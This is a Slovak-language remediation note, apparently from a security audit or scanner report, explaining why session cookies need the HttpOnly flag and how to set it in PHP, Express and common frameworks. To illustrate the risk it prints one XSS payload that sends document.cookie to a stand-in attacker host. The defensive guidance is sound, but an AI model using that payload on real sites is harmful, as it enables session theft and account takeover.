Session cookie nemá HttpOnly flag

Čo to je

Cookie nastavená bez HttpOnly flagu je čitateľná z JavaScriptu cez document.cookie. Útočník, ktorému sa podarí dostať na stránku akýkoľvek kus JS (XSS), si ju potom prečíta a pošle si ju.

Prečo je to problém

Bez HttpOnly stačí útočníkovi jediný malý XSS (komentárové pole, profilové bio, search query) a má hotovo — ukradne session cookie a prihlási sa ako vy. Tu je obvyklý payload:

<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>

S HttpOnly je document.cookie prázdny a útok zlyhá. XSS sám o sebe je stále problém, ale aspoň session zostane.

Ako to opraviť

HttpOnly je flag — nastavujete ho pri tvorbe cookie. Takmer všetky frameworky ho majú predvolene, len ho niekedy explicitne vypnete.

PHP

# php.ini
session.cookie_httponly = 1

# nebo přímo v kódu
setcookie('name', $value, [
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Lax',
]);

Node.js (express)

res.cookie('session', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
});

Laravel / Django / Rails

HttpOnly je predvolene zapnuté vo všetkých moderných session middleware. Ak váš nález ukazuje cookie bez neho, niekto to v configu vypol. Vráťte default.

Čo nesmie mať HttpOnly

Cookies, ktoré úmyselne číta JavaScript — typicky CSRF token (napr. Laravelovský XSRF-TOKEN). To je v poriadku, pretože útočník s XSS už CSRF token nepotrebuje.

Cookie obsahujúca session identifier alebo auth token ale musí byť HttpOnly vždy.

Overenie

DevTools → Application → Cookies → stĺpec HttpOnly. Pre session/auth cookies musí byť true.

Referencie